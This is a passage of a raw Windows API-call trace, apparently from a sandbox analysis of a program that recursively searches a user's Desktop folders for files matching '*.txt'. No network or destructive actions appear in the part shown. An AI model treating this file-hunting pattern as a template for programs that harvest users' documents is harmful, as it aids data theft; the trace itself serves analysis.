lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="j2i7j8UItWZYJ.csv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv" [0099.470] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.470] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.470] lstrcatW (in: lpString1="\\", lpString2="j2i7j8UItWZYJ.csv" | out: lpString1="\\j2i7j8UItWZYJ.csv") returned="\\j2i7j8UItWZYJ.csv" [0099.471] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.471] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x31) returned 0x2110560 [0099.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x2110560, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", lpUsedDefaultChar=0x0) returned 49 [0099.471] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b70 [0099.471] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.471] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.471] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.471] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.471] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*.txt") returned 0 [0099.471] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0099.471] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km0vcCJ", cAlternateFileName="")) returned 1 [0099.471] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.471] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.471] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.471] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.471] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.471] lstrcatW (in: lpString1="\\", lpString2="km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.471] lstrcmpW (lpString1="km0vcCJ", lpString2=".") returned 1 [0099.471] lstrcmpW (lpString1="km0vcCJ", lpString2="..") returned 1 [0099.471] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.472] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*" [0099.472] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.472] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.472] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.472] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\." [0099.472] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.472] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.472] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="." | out: lpString1="\\km0vcCJ\\.") returned="\\km0vcCJ\\." [0099.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.472] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.472] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.472] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.472] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\.." [0099.472] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.472] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.472] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2=".." | out: lpString1="\\km0vcCJ\\..") returned="\\km0vcCJ\\.." [0099.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.472] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf1b60, ftCreationTime.dwHighDateTime=0x1d7a0e0, ftLastAccessTime.dwLowDateTime=0x7ab1df80, ftLastAccessTime.dwHighDateTime=0x1d7a1bc, ftLastWriteTime.dwLowDateTime=0x7ab1df80, ftLastWriteTime.dwHighDateTime=0x1d7a1bc, nFileSizeHigh=0x0, nFileSizeLow=0x779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E2VUJLLm N3CcaeaCt.gif", cAlternateFileName="2E2VUJ~1.GIF")) returned 1 [0099.472] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.473] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.473] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="2E2VUJLLm N3CcaeaCt.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif" [0099.473] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.473] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.473] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="2E2VUJLLm N3CcaeaCt.gif" | out: lpString1="\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif") returned="\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif" [0099.473] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0099.473] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112df8 [0099.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x2112df8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", lpUsedDefaultChar=0x0) returned 63 [0099.473] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0099.473] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.473] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.473] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.473] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.473] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*.txt") returned 0 [0099.473] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0099.473] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818870, ftCreationTime.dwHighDateTime=0x1d7a1c4, ftLastAccessTime.dwLowDateTime=0x67e2f6d0, ftLastAccessTime.dwHighDateTime=0x1d7a7d1, ftLastWriteTime.dwLowDateTime=0x67e2f6d0, ftLastWriteTime.dwHighDateTime=0x1d7a7d1, nFileSizeHigh=0x0, nFileSizeLow=0xa4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3hAtRVuC3.xlsx", cAlternateFileName="3HATRV~1.XLS")) returned 1 [0099.473] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.473] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.473] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="3hAtRVuC3.xlsx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx" [0099.473] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.473] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.473] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="3hAtRVuC3.xlsx" | out: lpString1="\\km0vcCJ\\3hAtRVuC3.xlsx") returned="\\km0vcCJ\\3hAtRVuC3.xlsx" [0099.474] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.474] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x2110560 [0099.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x2110560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.474] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c48 [0099.474] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.474] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.474] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130a8 [0099.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130a8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.474] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.474] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*.txt") returned 0 [0099.474] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c48 | out: hHeap=0x2110000) returned 1 [0099.474] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FfCPM", cAlternateFileName="")) returned 1 [0099.474] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.474] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.474] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.474] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.474] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.474] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.474] lstrcmpW (lpString1="FfCPM", lpString2=".") returned 1 [0099.474] lstrcmpW (lpString1="FfCPM", lpString2="..") returned 1 [0099.474] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.474] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*" [0099.474] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1198 [0099.475] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.475] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.475] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\." [0099.475] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.475] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.475] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="." | out: lpString1="\\km0vcCJ\\FfCPM\\.") returned="\\km0vcCJ\\FfCPM\\." [0099.475] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.475] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.475] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.475] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.475] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\.." [0099.475] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.475] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.475] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2=".." | out: lpString1="\\km0vcCJ\\FfCPM\\..") returned="\\km0vcCJ\\FfCPM\\.." [0099.475] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.475] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.475] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1aefaf0, ftCreationTime.dwHighDateTime=0x1d7a69d, ftLastAccessTime.dwLowDateTime=0x67e6a640, ftLastAccessTime.dwHighDateTime=0x1d7a853, ftLastWriteTime.dwLowDateTime=0x67e6a640, ftLastWriteTime.dwHighDateTime=0x1d7a853, nFileSizeHigh=0x0, nFileSizeLow=0xec1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv-6RbWd7Y0DsEw.m4a", cAlternateFileName="BV-6RB~1.M4A")) returned 1 [0099.475] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.475] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.475] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="Bv-6RbWd7Y0DsEw.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a" [0099.475] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.476] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.476] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="Bv-6RbWd7Y0DsEw.m4a" | out: lpString1="\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a") returned="\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a" [0099.476] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 